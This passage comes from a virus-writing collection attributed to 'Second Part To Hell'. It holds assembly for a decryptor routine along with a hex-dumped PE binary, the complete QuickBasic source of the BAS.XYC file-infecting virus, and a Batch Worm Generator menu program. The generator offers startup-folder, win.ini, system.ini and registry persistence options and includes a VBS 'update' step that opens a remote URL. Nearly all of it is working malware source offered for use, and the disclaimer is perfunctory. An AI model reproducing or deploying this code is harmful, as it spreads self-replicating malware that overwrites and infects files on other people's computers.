add [memory_counter], ecx mov dword [WIN32_FIND_DATA.cFileName], 0x0 ; Anything to 0x0 because if the filename is small, mov dword [WIN32_FIND_DATA.cFileName+4], 0x0 ; the dot of the last filename still exists. mov dword [WIN32_FIND_DATA.cFileName+8], 0x0 ; (that damn bug wasted ~1h of my time :D) ; Example: "AA00BB00.001"+0x0 ; "A.002"+0x0 ; data: "A.002"+0x0+"00.001" ret hex_to_binary: ; Change a HEX-value to binary ; In: AX = HEX-value (i.E.: "0D") ; Out: AL = binary (i.E.: 0x0D) ; Nothing else changed mov [trash], ebx ; Save ebx xchg al, ah sub ax, 0x3030 ; "11"=0x3131 - make it to 0x0101 push hex2bin_not_A_F_1 cmp al, 0x9 ; If al>0x9 then decrease by 7 jg hex2bin_dec_al pop ebx hex2bin_not_A_F_1: mov ebx, eax ; Save eax mov al, ah ; AL=AH push hex2bin_not_A_F_2 cmp al, 0x9 ; If al>0x9 then decrease by 7 jg hex2bin_dec_al mov [trash2], ebx pop ebx mov ebx, [trash2] hex2bin_not_A_F_2: xchg ah, al shl ah, 4 mov al, bl or al, ah mov ebx, [trash] ; Restore ebx ret hex2bin_dec_al: sub al, 7 ret .end start #########################################[dechiff.ASM]######################################## ####################################[prime_decrypt_bin.inc]################################### primary_decryption_code db 0x4D,0x5A,0x80,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x10,0x00,0xFF,0xFF,0x00,0x00 db 0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00 db 0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68 db 0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F db 0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20 db 0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0x8F,0xC7,0x5B,0x44,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0xE0,0x00,0x8F,0x81,0x0B,0x01,0x01,0x38,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00 db 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x40,0x00,0x00,0x00,0x02,0x00,0x00,0xE6,0xAA,0x00,0x00,0x02,0x00,0x00,0x00 db 0x00,0x10,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x30,0x00,0x00,0x55,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00 db 0xD6,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0 db 0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x90,0x02,0x00,0x00,0x00,0x20,0x00,0x00 db 0x00,0x04,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00 db 0x55,0x01,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x08,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2A,0x2E,0x30,0x30,0x30,0x00,0x2A,0x2E db 0x74,0x78,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4E,0x52,0x4B,0x2E db 0x65,0x78,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x6A,0x04,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x01,0x00,0x6A,0x00,0xFF,0x15 db 0x91,0x30,0x40,0x00,0xA3,0x00,0x10,0x40,0x00,0x68,0x44,0x10,0x40,0x00,0x68,0x08 db 0x10,0x40,0x00,0xFF,0x15,0x81,0x30,0x40,0x00,0xA3,0x14,0x10,0x40,0x00,0x83,0xF8 db 0xFF,0x74,0x1B,0xE8,0x97,0x01,0x00,0x00,0x31,0xC9,0xE8,0xB7,0x01,0x00,0x00,0xFF db 0x35,0x14,0x10,0x40,0x00,0xFF,0x15,0x7D,0x30,0x40,0x00,0xEB,0xCC,0x90,0x31,0xC9 db 0xA1,0x00,0x10,0x40,0x00,0x01,0xC8,0x66,0x8B,0x00,0xE8,0xEE,0x01,0x00,0x00,0x89 db 0xCB,0xD1,0xEB,0x03,0x1D,0x00,0x10,0x40,0x00,0x88,0x03,0x83,0xC1,0x02,0x3B,0x0D db 0x04,0x10,0x40,0x00,0x78,0xDA,0x68,0x44,0x10,0x40,0x00,0x68,0x0E,0x10,0x40,0x00 db 0xFF,0x15,0x81,0x30,0x40,0x00,0x50,0xFF,0x15,0x7D,0x30,0x40,0x00,0x6A,0x00,0x68 db 0x80,0x00,0x00,0x00,0x6A,0x03,0x6A,0x00,0x6A,0x00,0x68,0x00,0x00,0x00,0xC0,0x68 db 0x70,0x10,0x40,0x00,0xFF,0x15,0x6D,0x30,0x40,0x00,0xA3,0x24,0x10,0x40,0x00,0x68 db 0x28,0x10,0x40,0x00,0xFF,0x35,0x24,0x10,0x40,0x00,0xFF,0x15,0x85,0x30,0x40,0x00 db 0xA3,0x28,0x10,0x40,0x00,0x6A,0x00,0xFF,0x35,0x28,0x10,0x40,0x00,0x6A,0x00,0x6A db 0x04,0x6A,0x00,0xFF,0x35,0x24,0x10,0x40,0x00,0xFF,0x15,0x71,0x30,0x40,0x00,0xA3 db 0x2C,0x10,0x40,0x00,0xFF,0x35,0x28,0x10,0x40,0x00,0x6A,0x00,0x6A,0x00,0x68,0x1F db 0x00,0x0F,0x00,0xFF,0x35,0x2C,0x10,0x40,0x00,0xFF,0x15,0x89,0x30,0x40,0x00,0xA3 db 0x30,0x10,0x40,0x00,0x31,0xC9,0xA1,0x30,0x10,0x40,0x00,0x01,0xC8,0x8A,0x00,0x8B db 0x1D,0x00,0x10,0x40,0x00,0x01,0xCB,0x8A,0x23,0x30,0xC4,0x88,0x23,0x41,0xA1,0x04 db 0x10,0x40,0x00,0xD1,0xE8,0x3B,0x0D,0x28,0x10,0x40,0x00,0x7F,0x04,0x39,0xC1,0x78 db 0xD5,0xFF,0x35,0x30,0x10,0x40,0x00,0xFF,0x15,0x8D,0x30,0x40,0x00,0xFF,0x35,0x2C db 0x10,0x40,0x00,0xFF,0x15,0x69,0x30,0x40,0x00,0xFF,0x35,0x24,0x10,0x40,0x00,0xFF db 0x15,0x69,0x30,0x40,0x00,0x6A,0x00,0x68,0x80,0x00,0x00,0x00,0x6A,0x02,0x6A,0x00 db 0x6A,0x00,0x68,0x00,0x00,0x00,0xC0,0x68,0x3C,0x10,0x40,0x00,0xFF,0x15,0x6D,0x30 db 0x40,0x00,0xA3,0x38,0x10,0x40,0x00,0xA1,0x04,0x10,0x40,0x00,0xD1,0xE8,0x6A,0x00 db 0x68,0x34,0x10,0x40,0x00,0x50,0xFF,0x35,0x00,0x10,0x40,0x00,0xFF,0x35,0x38,0x10 db 0x40,0x00,0xFF,0x15,0x95,0x30,0x40,0x00,0xFF,0x35,0x38,0x10,0x40,0x00,0xFF,0x15 db 0x69,0x30,0x40,0x00,0x68,0xC6,0x11,0x40,0x00,0x68,0x82,0x11,0x40,0x00,0x6A,0x00 db 0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0x68,0x3C,0x10,0x40 db 0x00,0xFF,0x15,0x75,0x30,0x40,0x00,0x6A,0x00,0xFF,0x15,0x79,0x30,0x40,0x00,0xB8 db 0x0C,0x10,0x40,0x00,0x80,0x38,0x39,0x74,0x08,0x80,0x38,0x5A,0x74,0x07,0xFE,0x00 db 0xC3,0xC6,0x00,0x41,0xC3,0xC6,0x00,0x30,0x48,0x80,0x38,0x39,0x74,0xF3,0x80,0x38 db 0x5A,0x74,0xF2,0xFE,0x00,0xC3,0xB9,0x09,0x00,0x00,0x00,0xB8,0x70,0x10,0x40,0x00 db 0x01,0xC8,0x80,0x38,0x2E,0x74,0x02,0xE2,0xF2,0x89,0x0D,0x18,0x10,0x40,0x00,0xBE db 0x70,0x10,0x40,0x00,0x8B,0x3D,0x00,0x10,0x40,0x00,0x03,0x3D,0x04,0x10,0x40,0x00 db 0xF3,0xA4,0x8B,0x0D,0x18,0x10,0x40,0x00,0x01,0x0D,0x04,0x10,0x40,0x00,0xC7,0x05 db 0x70,0x10,0x40,0x00,0x00,0x00,0x00,0x00,0xC7,0x05,0x74,0x10,0x40,0x00,0x00,0x00 db 0x00,0x00,0xC7,0x05,0x78,0x10,0x40,0x00,0x00,0x00,0x00,0x00,0xC3,0x89,0x1D,0x1C db 0x10,0x40,0x00,0x86,0xC4,0x66,0x2D,0x30,0x30,0x68,0x63,0x22,0x40,0x00,0x3C,0x09 db 0x7F,0x2B,0x5B,0x89,0xC3,0x88,0xE0,0x68,0x7D,0x22,0x40,0x00,0x3C,0x09,0x7F,0x1D db 0x89,0x1D,0x20,0x10,0x40,0x00,0x5B,0x8B,0x1D,0x20,0x10,0x40,0x00,0x86,0xE0,0xC0 db 0xE4,0x04,0x88,0xD8,0x08,0xE0,0x8B,0x1D,0x1C,0x10,0x40,0x00,0xC3,0x2C,0x07,0xC3 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x35,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x28,0x30,0x00,0x00 db 0x69,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32 db 0x2E,0x44,0x4C,0x4C,0x00,0x9D,0x30,0x00,0x00,0xAB,0x30,0x00,0x00,0xB9,0x30,0x00 db 0x00,0xCE,0x30,0x00,0x00,0xDF,0x30,0x00,0x00,0xED,0x30,0x00,0x00,0xF9,0x30,0x00 db 0x00,0x0A,0x31,0x00,0x00,0x18,0x31,0x00,0x00,0x28,0x31,0x00,0x00,0x3A,0x31,0x00 db 0x00,0x49,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x9D,0x30,0x00,0x00,0xAB,0x30,0x00 db 0x00,0xB9,0x30,0x00,0x00,0xCE,0x30,0x00,0x00,0xDF,0x30,0x00,0x00,0xED,0x30,0x00 db 0x00,0xF9,0x30,0x00,0x00,0x0A,0x31,0x00,0x00,0x18,0x31,0x00,0x00,0x28,0x31,0x00 db 0x00,0x3A,0x31,0x00,0x00,0x49,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43 db 0x6C,0x6F,0x73,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00,0x00,0x00,0x43,0x72,0x65 db 0x61,0x74,0x65,0x46,0x69,0x6C,0x65,0x41,0x00,0x00,0x00,0x43,0x72,0x65,0x61,0x74 db 0x65,0x46,0x69,0x6C,0x65,0x4D,0x61,0x70,0x70,0x69,0x6E,0x67,0x41,0x00,0x00,0x00 db 0x43,0x72,0x65,0x61,0x74,0x65,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x41,0x00,0x00 db 0x00,0x45,0x78,0x69,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x00,0x00,0x00,0x46 db 0x69,0x6E,0x64,0x43,0x6C,0x6F,0x73,0x65,0x00,0x00,0x00,0x46,0x69,0x6E,0x64,0x46 db 0x69,0x72,0x73,0x74,0x46,0x69,0x6C,0x65,0x41,0x00,0x00,0x00,0x47,0x65,0x74,0x46 db 0x69,0x6C,0x65,0x53,0x69,0x7A,0x65,0x00,0x00,0x00,0x4D,0x61,0x70,0x56,0x69,0x65 db 0x77,0x4F,0x66,0x46,0x69,0x6C,0x65,0x00,0x00,0x00,0x55,0x6E,0x6D,0x61,0x70,0x56 db 0x69,0x65,0x77,0x4F,0x66,0x46,0x69,0x6C,0x65,0x00,0x00,0x00,0x56,0x69,0x72,0x74 db 0x75,0x61,0x6C,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x00,0x00,0x57,0x72,0x69,0x74,0x65 db 0x46,0x69,0x6C,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 primary_decryption_code_end: ####################################[prime_decrypt_bin.inc]###################################sources
BAS.XYC Second Part To Hell BAS.XYC Highly infectious BAS virus - Spring/Summer 2002 ;) CLS REM The first Quick Basic infection Virus REM written by SeCoNd PaRt To HeLl REM for showing, that .BAS can be infected REM NAME of the Virus: BAS.XYC OPEN "C:\xyc.bat" FOR OUTPUT AS #1 PRINT #1, "@echo off" PRINT #1, "if exist xyc.bas copy xyc.bas C:\xyc.bas" PRINT #1, "for %%r in (*.bas ..\*.bas %windir%\*.bas) do copy C:\xyc.bas %%r" CLOSE #1 SHELL "C:\xyc.bat"sources
Batch Worm Generator 5.03 Second Part To Hell ####################################[bwgeng.bas]################################### headline: CLS REM SeCoNd PaRt To HeLl's REM BATCH WORM GENERATOR 5.03 name$ = "BATCH WORM GENERATOR 5.03" RANDOMIZE TIMER COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 PRINT " WRITE WORM (1)" PRINT " INFORMATION (2)" PRINT " THANKS AND GREETS (3)" PRINT " INTERNET UPDATE (4)" PRINT " END (5)" PRINT "" INPUT " Please choose: ", beginn IF beginn = 1 THEN GOTO VIRUSERSTELLEN IF beginn = 2 THEN GOTO INFORMATION IF beginn = 3 THEN GOTO TAG IF beginn = 4 THEN GOTO update IF beginn = 5 THEN GOTO Ende GOTO headline INFORMATION: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 PRINT " Information about the Batch Worm Generator" PRINT "" PRINT " First I have to say, that spreading a computervirus is illegal in most" PRINT " countries and this program is provided here for educational use only." PRINT " I will not be held responsible for any damage done to your own " PRINT " personal machine or 3rd party. " PRINT "" COLOR 2 PRINT " Now something else:" COLOR 7 PRINT " I haven't built any harmful functions in this program, because I don't want to" PRINT " encourage destructive payloads, viruswriters should be creative at this point ..." PRINT "" INPUT " press enter...", nix$ CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 PRINT " IMPORTANT: If the program causes any problems, " PRINT " or the program made a buggy worm, or if you have any suggestion" PRINT " to improve this program, please write me a mail to:" COLOR 2 PRINT " SPTH@jet2web.cc" COLOR 7 PRINT "" PRINT " I try to fix the bugs as fast as i can, and upload the program to this site:" COLOR 2 PRINT " http://www.spth.de.vu" COLOR 7 PRINT "" PRINT " greets," PRINT "" PRINT " SeCoNd PaRt To HeLl" PRINT "" INPUT " press enter...", nix$ GOTO headline update: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " INTERNET UPDATE:" COLOR 7 PRINT "" INPUT " Press ENTER for upgrading to a new version of BWG... ", nix$ OPEN "update.vbs" FOR OUTPUT AS #2 PRINT #2, "CreateObject("; CHR$(34); "WScript.Shell"; CHR$(34); ").run "; CHR$(34); "http://www16.brinkster.com/herrlich/newver.zip"; CHR$(34); ",3,false" CLOSE #2 SHELL "cscript update.vbs" CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " INTERNET UPDATE:" COLOR 7 PRINT "" PRINT " The new program was downloaded." PRINT " Extract the file newver.zip and you can use a new version of BWG." INPUT " press ENTER...", nix$ KILL "update.vbs" GOTO headline TAG: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " Thanks:" COLOR 7 PRINT PRINT " SnakeByte -$gt;$gt; for his QuickBasic-Help [http://www.kryptocrew.de/snakebyte]" PRINT " VorteX -$gt;$gt; for his nice suggestions to improve the BWG and Batch virii!" PRINT " Worf -$gt;$gt; for his Batch virii, PHP virii and REG virii" PRINT " Positron -$gt;$gt; for his Batch virii and BWG help!" PRINT " Black Cat -$gt;$gt; Put the BWG at his HomePage [http://hvx.cjb.net]" PRINT " Dr. T -$gt;$gt; Upload the BWG at his HomePage [http://www.ebcvg.com]" INPUT " press enter... ", nix$ GOTO headline VIRUSERSTELLEN: CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 7 INPUT " Name of the worm: ", virname$ INPUT " Name of the Author: ", virautor$ IF virautor$ = "SPTH" THEN GOTO SPTHVir IF virautor$ = "spth" THEN GOTO SPTHVir IF virautor$ = "SeCoNd PaRt To HeLl" THEN GOTO SPTHVir GOTO SPTHVirEnd SPTHVir: COLOR 5 PRINT " Are you crazy??" COLOR 7 SPTHVirEnd: INPUT " The main-filename of the virus (file.BAT): ", MyS$ CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT " + + + + + + + + " PRINT " + + + + "; name$; " + + + + " PRINT " + + + + + + + + " PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " PRINT "" COLOR 4 PRINT " Activation of the worm:" COLOR 7 DeuAutoSt = 0 INPUT " Shall the worm copy to the german start-upfolder (Y/N): ", akt$ IF akt$ = "Y" THEN DeuAutoSt = 1 IF akt$ = "y" THEN DeuAutoSt = 1 EngAutoSt = 0 INPUT " Shall the worm copy to the english start-upfolder (Y/N): ", eas$ IF eas$ = "Y" THEN EngAutoSt = 1 IF eas$ = "y" THEN EngAutoSt = 1 WinINI = 0 INPUT " Shall the worm activate itself with the win.ini (Y/N): ", wini$ IF wini$ = "Y" THEN WinINI = 1 IF wini$ = "y" THEN WinINI = 1 SysINI = 0 INPUT " Shall the worm activate itself with the system.ini (Y/N): ", ssini$ IF ssini$ = "Y" THEN SysINI = 1 IF ssini$ = "y" THEN SysINI = 1 regkey = 0 INPUT " Shall the worm write itself to a registry key (Y/N): ", rek$ IF rek$ = "Y" THEN regkey = 1 IF rek$ = "y" THEN regkey = 1 CLS COLOR 1 PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + " 